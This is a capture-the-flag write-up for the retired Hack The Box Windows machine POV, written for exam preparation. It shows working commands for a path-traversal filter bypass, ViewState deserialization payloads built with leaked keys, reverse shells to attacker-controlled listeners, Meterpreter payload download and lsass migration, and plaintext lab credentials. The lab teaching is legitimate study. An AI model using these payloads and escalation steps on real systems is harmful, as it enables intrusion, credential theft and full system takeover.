Skip to content
Archwarden
Go back
HTB: POV
HTB
Windows Medium Retired

HTB: POV

View Report
Techniques Web EnumerationSubdomain FuzzingLocal File InclusionPath Traversal Filter BypassASP.NET ViewState DeserializationPSCredential XML DecryptionLateral Movement via RunasCsSeDebugPrivilege AbuseProcess Migration

Summary

POV is a Windows machine built around a chain of web-layer vulnerabilities and Windows-specific privilege paths. A portfolio site on a dev subdomain leaks its ASP.NET configuration through a local file inclusion vulnerability in a CV download endpoint. The web.config file contains ViewState cryptographic keys, which allow crafting a malicious deserialization payload that executes arbitrary commands on the server. Initial access lands as a low-privileged user with no flag on the Desktop. Enumeration reveals an encrypted PSCredential XML file containing hardcoded credentials for a second user, who carries SeDebugPrivilege. That privilege allows process migration into lsass.exe, which runs as SYSTEM.

Flags:


Detailed Walkthrough

Enumeration

Nmap Scan

As always, begin with a full TCP scan.

sudo nmap -p- --min-rate 1000 -T4 10.129.230.183 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run detailed enumeration:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.230.183
# Nmap 7.99 scan initiated Mon May  4 08:40:29 2026 as: /usr/lib/nmap/nmap -p 80 -sC -sV -vv -oA TCP_detailed 10.129.230.183
Nmap scan report for 10.129.230.183
Host is up, received echo-reply ttl 127 (0.060s latency).
Scanned at 2026-05-04 08:40:30 EDT for 13s

PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: E9B5E66DEBD9405ED864CAC17E2A888E
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  4 08:40:43 2026 -- 1 IP address (1 host up) scanned in 13.67 seconds
  • 80 (HTTP) — Microsoft IIS 10.0, single open port. The banner confirms pov.htb as the FQDN — add it to /etc/hosts before proceeding.

Web Enumeration

With only one port open, the web server is the entire attack surface. Add pov.htb to /etc/hosts:

sudo nano /etc/hosts

Navigating to http://pov.htb shows a simple corporate portfolio site.

pov.htb main site

While browsing the main site, run vhost enumeration in the background — IIS setups on HTB frequently have hidden subdomains:

ffuf -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac

ffuf discovering dev.pov.htb

dev.pov.htb comes back. Add it to /etc/hosts and visit it.

dev.pov.htb portfolio landing page

This is a personal developer portfolio built with ASP.NET. The bio references bad coding practices — an intentional hint.

dev.pov.htb — hint referencing ASP.NET bad practices

There is also a working “Download CV” button. Unlike many HTB links that exist only as decoration, this one makes an actual request. Intercept it with Burp Suite.

Finding 1 — Functional File Download Endpoint Exposing Direct File Reference Parameter

LFI — CV Download Endpoint

The captured request shows a POST parameter referencing cv.pdf directly — a textbook path traversal candidate on a Windows IIS host.

Burp Suite capturing the CV download POST request

Since the server is IIS, the web application configuration lives in web.config. Try to reach it with a basic path traversal — replace cv.pdf with:

../web.config

The response is blank. The ../ sequence is being stripped.

Burp repeater showing blank response with ../web.config — filter active

A common filter implementation scans for ../ and removes it in a single pass. Doubling the sequence defeats this: ....// becomes ../ after the filter strips the inner ../, leaving a valid traversal.

Replace the value with:

....//web.config

Burp repeater returning web.config contents

LFI confirmed. The response includes full ASP.NET ViewState cryptographic configuration.

Finding 2 — Local File Inclusion via Path Traversal Filter Bypass in CV Download Endpoint

ASP.NET ViewState Deserialization

The web.config response contains the validation key, decryption key, algorithm settings, and the ViewState generator value.

ViewState is an ASP.NET mechanism that serializes page state into a hidden form field, signs it with validationkey, and optionally encrypts it with decryptionkey. On each POST, the server deserializes the field to restore state. When both keys are known, an attacker can craft a malicious serialized object and submit it as __VIEWSTATE — triggering arbitrary code execution during deserialization. The ysoserial.net tool automates payload generation for this attack.

A note on tooling: ysoserial.net is a Windows x86 binary. Running it on an ARM Mac requires a Windows environment. I used my Proxmox homelab to spin up a Windows VM for this step.

Start by confirming that the tool produces usable output with a benign command:

.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 127.0.0.1"

ysoserial.exe test run producing base64 output

Then build a ViewState-specific test payload using the keys from web.config, targeting the /portfolio path:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "mkdir c:\temp" --path="/portfolio" --apppath="/" --validationalg="SHA1" --validationkey=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468 --decryptionalg="AES" --islegacy --isdebug

ysoserial.exe ViewState payload for mkdir test ysoserial.exe generating final ViewState payload with reverse shell

Paste the output into Burp repeater as the __VIEWSTATE value and send — if c:\temp is created on the target, code execution is confirmed. The viewstategenerator value in the Burp request should read 8E0F0FA3, matching web.config.

With RCE verified, generate the reverse shell payload. Encode the PowerShell one-liner in base64:

Reverse shell base64 payload generated

Build the final ViewState payload with the full key set:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e <BASE64_PAYLOAD>" --path="/portfolio" --apppath="/" --validationalg="SHA1" --validationkey=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468 --decryptionalg="AES" --decryptionkey=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43

ysoserial session confirming payload sent and shell connecting

Copy the output. In Burp repeater, replace the __VIEWSTATE parameter value with the generated payload:

Burp repeater with ViewState payload pasted Burp repeater ready to send

Start a listener, then send the request:

rlwrap nc -nlvp 9001

Netcat listener started on port 9001

Finding 3 — Remote Code Execution via ASP.NET ViewState Deserialization with Recovered Cryptographic Keys

Foothold

The reverse shell connects as sfitz.

Shell as sfitz

The Desktop is empty — no user flag here. There is another account: alaading. The path forward is lateral movement.

sfitz Desktop — no flag present

Enumerate the user’s home directory:

tree . /F

tree output in sfitz home directory showing connection.xml in Documents

Documents\connection.xml is not a standard Windows file. Read it:

type Documents\connection.xml

connection.xml containing encrypted PSCredential object for alaading

This is a PSCredential XML export. It contains a SecureString encrypted with the DPAPI key of the user who created it — sfitz. Because we are running in sfitz’s session, we can decrypt it directly.

Finding 4 — Hardcoded Encrypted Credentials Stored in PSCredential XML File

Lateral Movement — Decrypting Credentials

Import-Clixml deserializes the PSCredential object. GetNetworkCredential().Password extracts the plaintext:

$enc_pass = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$dec_pass = $enc_pass.GetNetworkCredential().Password
$dec_pass

Decrypted plaintext password for alaading

Credentials recovered: alaading : f8gQ8fynP44ek1m3

Lateral Movement — Shell as alaading

Attempting to run payloads directly with runas proved unreliable. RunasCs.exe handles credential-based process spawning more consistently, routing output to a separate listener.

Start a listener:

rlwrap nc -nlvp 9002

Listener ready for alaading shell

Transfer RunasCs.exe from the attacker machine:

python3 -m http.server 8081

HTTP server serving RunasCs.exe

iwr "http://10.10.X.X:8081/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"

RunasCs.exe downloaded to target

Execute with alaading’s credentials, targeting the listener:

C:\Windows\Temp\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell -r 10.10.X.X:9002

Shell as alaading via RunasCs

Retrieve the user flag from alaading’s Desktop.

User flag on alaading Desktop

Privilege Escalation — Enumeration

Check alaading’s token privileges:

whoami /priv

whoami /priv output showing SeDebugPrivilege Enabled

SeDebugPrivilege is enabled. This privilege grants the ability to open handles to processes owned by any user, including SYSTEM. The standard escalation path is to inject into or migrate a Meterpreter session into lsass.exe, which runs as SYSTEM.

Finding 5 — Privilege Escalation via SeDebugPrivilege Enabling Process Migration into SYSTEM Context

Privilege Escalation — Process Migration via Meterpreter

Generate a Meterpreter payload on the attacker machine:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=9003 -f exe -o sh.exe

Serve it over HTTP:

python3 -m http.server 8081

HTTP server serving sh.exe

Transfer to the target:

iwr "http://10.10.X.X:8081/sh.exe" -OutFile sh.exe

sh.exe downloaded to target

Set up the Metasploit handler and start a listener for the resulting shell:

sudo msfconsole -q
use exploit/multi/handler
set LHOST tun0
set LPORT 9003
set payload windows/x64/meterpreter_reverse_tcp
run

Metasploit handler configured

rlwrap nc -nlvp 9004

Listener ready and Metasploit handler configured

Execute the payload:

.\sh.exe

Payload Execution

Once the Meterpreter session opens, migrate into lsass.exe and drop to an interactive shell:

meterpreter > migrate -N lsass.exe
meterpreter > shell

Migrate to lsass Start the shell

The shell returns as NT AUTHORITY\SYSTEM. Retrieve the root flag.

Root flag


Takeaways

How this box helped me prepare for the CPTS exam

  1. Always run vhost enumeration before going deep on a single page — The main pov.htb site was a dead end. The entire attack surface lived on dev.pov.htb, found with a quick vhost fuzz. On the CPTS exam, if a web application looks thin, fuzz for subdomains before concluding there is nothing there. Also double check your work with different tools (gobuster, feroxbuster, etc.) and use different lists (sometimes one list isn’t enough to find all the vhosts).

  2. Working buttons are LFI candidates — Most HTB web buttons go nowhere. When one actually fires a request, treat it as a target. File download endpoints that reference filenames directly in POST parameters are almost always worth testing for path traversal. On IIS, web.config is the first file to try — it often contains database connection strings, API keys, and cryptographic configuration.

  3. Filter bypasses for path traversal are reliable../ being stripped does not mean the traversal is patched. ....// collapses to ../ after a single-pass filter removes the inner ../. This is the same bypass seen in the Trick writeup. When a traversal attempt returns blank on the CPTS exam, try the doubled form before moving on.

  4. Box prep does not equal test prep — This box contains a lot of information and exploits that are outside the scope of the CPTS exam. The principles of intercepting requests and then inserting new content into those requests is the main purpose of understanding here. Don’t get too worried that you don’t understand deserialization attacks, or that tools you have never seen before might be needed. If they are, they are a pretty quick Google search away.

  5. Your attack machine is not always the right tool for the job. ysoserial.net is a Windows x86 binary. On an ARM Mac it will not run without a dedicated Windows environment, and this box makes that concrete: the entire exploit depends on a tool that requires a specific OS and architecture. Keeping a Windows VM available, even a lightweight one, is worth the disk space. Some files and native Windows applications also only yield their contents when opened on the platform they were built for, and there is no Linux equivalent that substitutes cleanly. Get comfortable spinning up a Windows VM, moving files to it, and running tools from it.



Previous
HTB: Postman
Next
HTB: Redelegate